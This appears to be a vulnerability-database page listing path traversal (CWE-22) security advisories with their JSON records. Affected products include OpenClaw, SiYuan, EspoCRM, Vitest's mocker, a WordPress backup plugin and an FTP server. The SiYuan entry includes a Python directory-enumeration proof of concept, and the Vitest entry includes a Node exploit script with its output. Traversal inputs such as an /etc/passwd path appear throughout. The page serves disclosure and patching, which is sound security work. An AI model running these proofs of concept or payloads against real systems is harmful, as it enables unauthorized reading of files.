CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
15939 vulnerabilities reference this CWE, most recent first.
GHSA-XMV6-R34M-62P4
Vulnerability from github – Published: 2026-03-03 22:08 – Updated: 2026-03-03 22:08Summary
A sandbox path validation bypass in openclaw allows host file reads outside sandboxRoot via the media path fallback tmp flow when the fallback tmp root is a symlink alias.
Affected Packages / Versions
- Package:
npm openclaw - Affected versions:
<= 2026.2.24 - Latest published npm version at triage time (February 26, 2026):
2026.2.24 - Patched version :
2026.2.25
Details
When /tmp/openclaw is unavailable or unsafe, resolvePreferredOpenClawTmpDir() in src/infra/tmp-openclaw-dir.ts fell back to os.tmpdir()/openclaw-<uid> without verifying that fallback path was a trusted non-symlink directory.
resolveSandboxedMediaSource() (src/agents/sandbox-paths.ts) allows absolute tmp media paths under the OpenClaw tmp root using lexical containment and alias checks. If the fallback tmp root is a symlink alias (for example to /), inputs like $TMPDIR/openclaw-<uid>/etc/passwd can pass validation and resolve to host files outside sandboxRoot.
Impact
This can break sandbox media path confinement and permit unauthorized host file reads (confidentiality impact).
Reproduction (high level)
- Force resolver fallback (make
/tmp/openclawunavailable/invalid). - Make fallback root (
$TMPDIR/openclaw-<uid>) a symlink alias to/. - Submit media path under fallback root (for example
$TMPDIR/openclaw-<uid>/etc/passwd). - Observe accepted path and read outside
sandboxRoot.
Fix Commit(s)
496a76c03ba85e15ea715e5a583e498ae04d36e3
Release Process Note
Patched version is pre-set to release 2026.2.25; once npm publish for 2026.2.25 is complete, this advisory can be published without further metadata edits.
OpenClaw thanks @tdjackey for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.2.24"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T22:08:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA sandbox path validation bypass in `openclaw` allows host file reads outside `sandboxRoot` via the media path fallback tmp flow when the fallback tmp root is a symlink alias.\n\n### Affected Packages / Versions\n- Package: `npm openclaw`\n- Affected versions: `\u003c= 2026.2.24`\n- Latest published npm version at triage time (February 26, 2026): `2026.2.24`\n- Patched version : `2026.2.25`\n\n### Details\nWhen `/tmp/openclaw` is unavailable or unsafe, `resolvePreferredOpenClawTmpDir()` in `src/infra/tmp-openclaw-dir.ts` fell back to `os.tmpdir()/openclaw-\u003cuid\u003e` without verifying that fallback path was a trusted non-symlink directory.\n\n`resolveSandboxedMediaSource()` (`src/agents/sandbox-paths.ts`) allows absolute tmp media paths under the OpenClaw tmp root using lexical containment and alias checks. If the fallback tmp root is a symlink alias (for example to `/`), inputs like `$TMPDIR/openclaw-\u003cuid\u003e/etc/passwd` can pass validation and resolve to host files outside `sandboxRoot`.\n\n### Impact\nThis can break sandbox media path confinement and permit unauthorized host file reads (confidentiality impact).\n\n### Reproduction (high level)\n1. Force resolver fallback (make `/tmp/openclaw` unavailable/invalid).\n2. Make fallback root (`$TMPDIR/openclaw-\u003cuid\u003e`) a symlink alias to `/`.\n3. Submit media path under fallback root (for example `$TMPDIR/openclaw-\u003cuid\u003e/etc/passwd`).\n4. Observe accepted path and read outside `sandboxRoot`.\n\n### Fix Commit(s)\n- `496a76c03ba85e15ea715e5a583e498ae04d36e3`\n\n### Release Process Note\nPatched version is pre-set to release `2026.2.25`; once npm publish for `2026.2.25` is complete, this advisory can be published without further metadata edits.\n\nOpenClaw thanks @tdjackey for reporting.",
"id": "GHSA-xmv6-r34m-62p4",
"modified": "2026-03-03T22:08:54Z",
"published": "2026-03-03T22:08:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xmv6-r34m-62p4"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/496a76c03ba85e15ea715e5a583e498ae04d36e3"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Sandbox media fallback tmp symlink alias bypass allows host file reads outside sandboxRoot"
}
GHSA-XMW9-6R43-X9WW
Vulnerability from github – Published: 2026-03-25 19:38 – Updated: 2026-03-27 21:24Details
The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.
PoC
#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys
def poc(target):
base = target.rstrip("/")
url = f"{base}/api/file/readDir"
def read_dir(path, depth=0, max_depth=4):
try:
r = requests.post(url, json={"path":path},
headers={"Content-Type":"application/json"}, timeout=10)
data = r.json()
except Exception as e:
return
if data.get("code") != 0:
return
entries = data.get("data") or []
for entry in entries:
name = entry.get("name","")
if name.startswith("."):
continue
icon = "📁" if entry.get("isDir") else "📄"
indent = " " * depth
print(f" {indent}{icon} {name}")
if entry.get("isDir") and depth < max_depth:
read_dir(f"{path}/{name}", depth+1, max_depth)
# 遍历根目录
print("[+] 漏洞存在！开始遍历\n")
print(" 📂 data/")
read_dir("data", max_depth=2)
print("\n 📂 conf/")
read_dir("conf", max_depth=2)
# 保存
try:
r = requests.post(url, json={"path":"data"},
headers={"Content-Type":"application/json"}, timeout=10)
with open("readdir.json","w",encoding="utf-8") as f:
json.dump(r.json(), f, ensure_ascii=False, indent=2)
print(f"\n[+] 根目录数据已保存: readdir.json")
except: pass
if __name__ == "__main__":
poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")
Impact
Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.
资源文件夹
插件文件夹
conf文件夹
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260317012524-fe4523fff2c8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33670"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:38:01Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "CRITICAL"
},
"details": "### Details\n\nThe /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"POC: SiYuan /api/file/readDir \u672a\u9274\u6743\u76ee\u5f55\u904d\u5386\"\"\"\nimport requests, json, sys\n\ndef poc(target):\n base = target.rstrip(\"/\")\n url = f\"{base}/api/file/readDir\"\n\n def read_dir(path, depth=0, max_depth=4):\n try:\n r = requests.post(url, json={\"path\":path},\n headers={\"Content-Type\":\"application/json\"}, timeout=10)\n data = r.json()\n except Exception as e:\n return\n if data.get(\"code\") != 0:\n return\n\n entries = data.get(\"data\") or []\n for entry in entries:\n name = entry.get(\"name\",\"\")\n if name.startswith(\".\"):\n continue\n icon = \"\ud83d\udcc1\" if entry.get(\"isDir\") else \"\ud83d\udcc4\"\n indent = \" \" * depth\n print(f\" {indent}{icon} {name}\")\n\n if entry.get(\"isDir\") and depth \u003c max_depth:\n read_dir(f\"{path}/{name}\", depth+1, max_depth)\n\n # \u904d\u5386\u6839\u76ee\u5f55\n print(\"[+] \u6f0f\u6d1e\u5b58\u5728\uff01\u5f00\u59cb\u904d\u5386\\n\")\n print(\" \ud83d\udcc2 data/\")\n read_dir(\"data\", max_depth=2)\n\n print(\"\\n \ud83d\udcc2 conf/\")\n read_dir(\"conf\", max_depth=2)\n\n # \u4fdd\u5b58\n try:\n r = requests.post(url, json={\"path\":\"data\"},\n headers={\"Content-Type\":\"application/json\"}, timeout=10)\n with open(\"readdir.json\",\"w\",encoding=\"utf-8\") as f:\n json.dump(r.json(), f, ensure_ascii=False, indent=2)\n print(f\"\\n[+] \u6839\u76ee\u5f55\u6570\u636e\u5df2\u4fdd\u5b58: readdir.json\")\n except: pass\n\nif __name__ == \"__main__\":\n poc(sys.argv[1] if len(sys.argv)\u003e1 else \"http://172.18.40.184\")\n```\n\n### Impact\n\nDirectory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.\n\n\u8d44\u6e90\u6587\u4ef6\u5939\n\n\u003cimg width=\"943\" height=\"794\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038\" /\u003e\n\n\u63d2\u4ef6\u6587\u4ef6\u5939\n\n\u003cimg width=\"826\" height=\"921\" alt=\"image\" src=\"https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705\" /\u003e\n\nconf\u6587\u4ef6\u5939\n\n\u003cimg width=\"730\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741\" /\u003e",
"id": "GHSA-xmw9-6r43-x9ww",
"modified": "2026-03-27T21:24:23Z",
"published": "2026-03-25T19:38:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33670"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan has directory traversal within its publishing service"
}
GHSA-XMX2-Q3RP-Q8FQ
Vulnerability from github – Published: 2022-05-14 02:50 – Updated: 2022-05-14 02:50Directory traversal vulnerability in EspoCRM before 2.6.0 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the action parameter to install/index.php.
{
"affected": [],
"aliases": [
"CVE-2014-7985"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-10-31T14:55:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in EspoCRM before 2.6.0 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the action parameter to install/index.php.",
"id": "GHSA-xmx2-q3rp-q8fq",
"modified": "2022-05-14T02:50:58Z",
"published": "2022-05-14T02:50:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7985"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB23238"
},
{
"type": "WEB",
"url": "http://blog.espocrm.com/news/espocrm-2-6-0-released"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/128888/EspoCRM-2.5.2-XSS-LFI-Access-Control.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/533844/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/70809"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XP26-3454-MJGP
Vulnerability from github – Published: 2026-10-21 19:48 – Updated: 2026-10-21 19:48Summary
The path traversal fix released for GHSA-82fw-gwwq-j7x9 can be bypassed on Windows by using a backslash in the redirect URL pathname.
The fixed code joins an attacker-controlled URL pathname with the Vite root using node:path/posix, then passes that string to Vite's file allowlist check. On Windows, a value such as C:/project/root/..\secret.txt retains ..\ during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later readFile() call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.
I reproduced the issue with the published @vitest/mocker packages in both fixed release lines:
@vitest/mocker@4.1.11@vitest/mocker@5.0.0
The current main source at commit 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 has the same behavior.
Patches
Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so ..\ resolves the same as ../ and the allowlist check rejects it.
Relationship to GHSA-82fw-gwwq-j7x9
This is a bypass of the accepted fix, not a separate unrelated path. It uses the same vitest:interceptor:register redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.
The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:
4.1.11>=5.0.0-rc.2, <5.0.3
Older affected releases remain covered by GHSA-82fw-gwwq-j7x9.
Root cause
packages/mocker/src/node/interceptorPlugin.ts imports join from node:path/posix. Redirect registration currently performs the equivalent of:
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect
The registered value later reaches:
readFile(mock.redirect, 'utf-8')
Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but readFile interprets them as separators. The check and the sink therefore interpret the same string differently.
The authenticated browser RPC fallback in packages/browser/src/node/rpc.ts is not affected: it joins the path with pathe, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.
Preconditions and impact
A client that can reach a Vite server using the public mockerPlugin or standalone interceptorPlugin WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside server.fs.allow that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.
The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.
Reproduction
Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling secret.txt containing a canary.
Install dependencies for either affected line:
npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs
poc.mjs:
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'
const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')
const server = await createServer({
root,
configFile: false,
logLevel: 'silent',
server: { fs: { allow: [root] } },
plugins: [
{
name: 'validation:virtual-modules',
enforce: 'pre',
resolveId(id) {
if (id === '/control' || id === '/bypass') return id
},
},
interceptorPlugin(),
],
})
await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]
function register(id, redirect) {
return new Promise((resolve, reject) => {
const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
socket.on('message', (raw) => {
let message
try { message = JSON.parse(raw.toString()) } catch { return }
if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
clearTimeout(timer)
socket.close()
resolve()
}
})
socket.on('open', () => socket.send(JSON.stringify({
type: 'custom',
event: 'vitest:interceptor:register',
data: { type: 'redirect', raw: '', id, url: id, redirect },
})))
socket.on('error', reject)
})
}
try {
await register('/control', 'traversal:../secret.txt')
const controlResponse = await fetch(new URL('/control', baseUrl))
const controlBody = await controlResponse.text()
await register('/bypass', 'traversal:..\\secret.txt')
const bypassResponse = await fetch(new URL('/bypass', baseUrl))
const bypassBody = await bypassResponse.text()
const result = {
platform: process.platform,
root,
outsideFile: secret,
slashTraversalStatus: controlResponse.status,
slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
backslashTraversalStatus: bypassResponse.status,
backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
}
console.log(JSON.stringify(result, null, 2))
const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
? !result.backslashTraversalReturnedOutsideCanary
: result.backslashTraversalReturnedOutsideCanary
if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
await server.close()
}
Observed with @vitest/mocker@4.1.11:
{
"platform": "win32",
"slashTraversalStatus": 404,
"slashTraversalRejected": true,
"backslashTraversalStatus": 200,
"backslashTraversalReturnedOutsideCanary": true,
"returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
"expectedBackslashTraversalBlocked": false
}
The same result was observed with @vitest/mocker@5.0.0.
This includes two useful controls:
traversal:../secret.txtis rejected and returns 404, confirming the published forward-slash fix is active.traversal:..\secret.txtreturns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@vitest/mocker"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.11"
},
{
"fixed": "4.1.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@vitest/mocker"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-rc.2"
},
{
"fixed": "5.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112950"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T19:48:38Z",
"nvd_published_at": "2026-10-20T16:17:05Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname.\n\nThe fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite\u0027s file allowlist check. On Windows, a value such as `C:/project/root/..\\secret.txt` retains `..\\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.\n\nI reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:\n\n- `@vitest/mocker@4.1.11`\n- `@vitest/mocker@5.0.0`\n\nThe current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.\n\n## Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\\` resolves the same as `../` and the allowlist check rejects it.\n\n## Relationship to GHSA-82fw-gwwq-j7x9\n\nThis is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.\n\nThe original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:\n\n- `4.1.11`\n- `\u003e=5.0.0-rc.2, \u003c5.0.3`\n\nOlder affected releases remain covered by GHSA-82fw-gwwq-j7x9.\n\n## Root cause\n\n`packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of:\n\n```ts\nconst redirect = join(server.config.root, redirectUrl.pathname)\nif (!isFileLoadingAllowed(server.config, redirect)) return\nevent.redirect = redirect\n```\n\nThe registered value later reaches:\n\n```ts\nreadFile(mock.redirect, \u0027utf-8\u0027)\n```\n\nVite\u0027s allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently.\n\nThe authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.\n\n## Preconditions and impact\n\nA client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.\n\nThe reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin\u0027s internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.\n\n## Reproduction\n\nTested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary.\n\nInstall dependencies for either affected line:\n\n```console\nnpm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3\n# or\nnpm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3\nnode poc.mjs\n```\n\n`poc.mjs`:\n\n```js\nimport { mkdir, writeFile } from \u0027node:fs/promises\u0027\nimport { join } from \u0027node:path\u0027\nimport { tmpdir } from \u0027node:os\u0027\nimport { randomUUID } from \u0027node:crypto\u0027\nimport { interceptorPlugin } from \u0027@vitest/mocker/node\u0027\nimport { createServer } from \u0027vite\u0027\nimport { WebSocket } from \u0027ws\u0027\n\nconst base = join(tmpdir(), `vitest-path-${randomUUID()}`)\nconst root = join(base, \u0027root\u0027)\nconst secret = join(base, \u0027secret.txt\u0027)\nawait mkdir(root, { recursive: true })\nawait writeFile(secret, \u0027SYNTHETIC_OUTSIDE_ROOT_CANARY\u0027)\n\nconst server = await createServer({\n root,\n configFile: false,\n logLevel: \u0027silent\u0027,\n server: { fs: { allow: [root] } },\n plugins: [\n {\n name: \u0027validation:virtual-modules\u0027,\n enforce: \u0027pre\u0027,\n resolveId(id) {\n if (id === \u0027/control\u0027 || id === \u0027/bypass\u0027) return id\n },\n },\n interceptorPlugin(),\n ],\n})\n\nawait server.listen()\nconst port = new URL(server.resolvedUrls.local[0]).port\nconst baseUrl = server.resolvedUrls.local[0]\n\nfunction register(id, redirect) {\n return new Promise((resolve, reject) =\u003e {\n const socket = new WebSocket(`ws://localhost:${port}`, \u0027vite-hmr\u0027)\n const timer = setTimeout(() =\u003e reject(new Error(\u0027registration timeout\u0027)), 5000)\n socket.on(\u0027message\u0027, (raw) =\u003e {\n let message\n try { message = JSON.parse(raw.toString()) } catch { return }\n if (message.type === \u0027custom\u0027 \u0026\u0026 message.event === \u0027vitest:interceptor:register:result\u0027) {\n clearTimeout(timer)\n socket.close()\n resolve()\n }\n })\n socket.on(\u0027open\u0027, () =\u003e socket.send(JSON.stringify({\n type: \u0027custom\u0027,\n event: \u0027vitest:interceptor:register\u0027,\n data: { type: \u0027redirect\u0027, raw: \u0027\u0027, id, url: id, redirect },\n })))\n socket.on(\u0027error\u0027, reject)\n })\n}\n\ntry {\n await register(\u0027/control\u0027, \u0027traversal:../secret.txt\u0027)\n const controlResponse = await fetch(new URL(\u0027/control\u0027, baseUrl))\n const controlBody = await controlResponse.text()\n\n await register(\u0027/bypass\u0027, \u0027traversal:..\\\\secret.txt\u0027)\n const bypassResponse = await fetch(new URL(\u0027/bypass\u0027, baseUrl))\n const bypassBody = await bypassResponse.text()\n\n const result = {\n platform: process.platform,\n root,\n outsideFile: secret,\n slashTraversalStatus: controlResponse.status,\n slashTraversalRejected: !controlBody.includes(\u0027SYNTHETIC_OUTSIDE_ROOT_CANARY\u0027),\n backslashTraversalStatus: bypassResponse.status,\n backslashTraversalReturnedOutsideCanary: bypassBody.includes(\u0027SYNTHETIC_OUTSIDE_ROOT_CANARY\u0027),\n returnedBody: bypassBody.includes(\u0027SYNTHETIC_OUTSIDE_ROOT_CANARY\u0027) ? \u0027SYNTHETIC_OUTSIDE_ROOT_CANARY\u0027 : null,\n expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === \u00271\u0027,\n }\n console.log(JSON.stringify(result, null, 2))\n const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked\n ? !result.backslashTraversalReturnedOutsideCanary\n : result.backslashTraversalReturnedOutsideCanary\n if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1\n} finally {\n await server.close()\n}\n```\n\nObserved with `@vitest/mocker@4.1.11`:\n\n```json\n{\n \"platform\": \"win32\",\n \"slashTraversalStatus\": 404,\n \"slashTraversalRejected\": true,\n \"backslashTraversalStatus\": 200,\n \"backslashTraversalReturnedOutsideCanary\": true,\n \"returnedBody\": \"SYNTHETIC_OUTSIDE_ROOT_CANARY\",\n \"expectedBackslashTraversalBlocked\": false\n}\n```\n\nThe same result was observed with `@vitest/mocker@5.0.0`.\n\nThis includes two useful controls:\n\n1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.\n2. `traversal:..\\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.",
"id": "GHSA-xp26-3454-mjgp",
"modified": "2026-10-21T19:48:38Z",
"published": "2026-10-21T19:48:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112950"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitest-dev/vitest"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix"
}
GHSA-XP3R-QR68-XR3W
Vulnerability from github – Published: 2026-02-26 06:30 – Updated: 2026-02-26 06:30The Worry Proof Backup plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 0.2.4 via the backup upload functionality. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload a malicious ZIP archive with path traversal sequences to write arbitrary files anywhere on the server, including executable PHP files. This can lead to remote code execution.
{
"affected": [],
"aliases": [
"CVE-2026-1311"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-26T05:17:41Z",
"severity": "HIGH"
},
"details": "The Worry Proof Backup plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 0.2.4 via the backup upload functionality. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload a malicious ZIP archive with path traversal sequences to write arbitrary files anywhere on the server, including executable PHP files. This can lead to remote code execution.",
"id": "GHSA-xp3r-qr68-xr3w",
"modified": "2026-02-26T06:30:51Z",
"published": "2026-02-26T06:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1311"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/worry-proof-backup/tags/0.2.4/inc/libs/upload-backup.php#L97"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/worry-proof-backup/trunk/inc/libs/upload-backup.php#L97"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3ffd6ce0-2536-43a5-9925-438bc653d0e5?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XP5C-P5XG-FX95
Vulnerability from github – Published: 2022-05-17 01:34 – Updated: 2022-05-17 01:34Directory traversal vulnerability in Gummy Bear Studios FTP Drive + HTTP Server 1.0.4 and earlier allows remote attackers to read arbitrary files via a ..%2f (encoded dot dot slash) in a GET request.
{
"affected": [],
"aliases": [
"CVE-2013-3922"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-11-25T19:55:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in Gummy Bear Studios FTP Drive + HTTP Server 1.0.4 and earlier allows remote attackers to read arbitrary files via a ..%2f (encoded dot dot slash) in a GET request.",
"id": "GHSA-xp5c-p5xg-fx95",
"modified": "2022-05-17T01:34:17Z",
"published": "2022-05-17T01:34:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3922"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/89161"
},
{
"type": "WEB",
"url": "https://www.trustwave.com/spiderlabs/advisories/TWSL2013-032.txt"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XP5V-36W8-HWXM
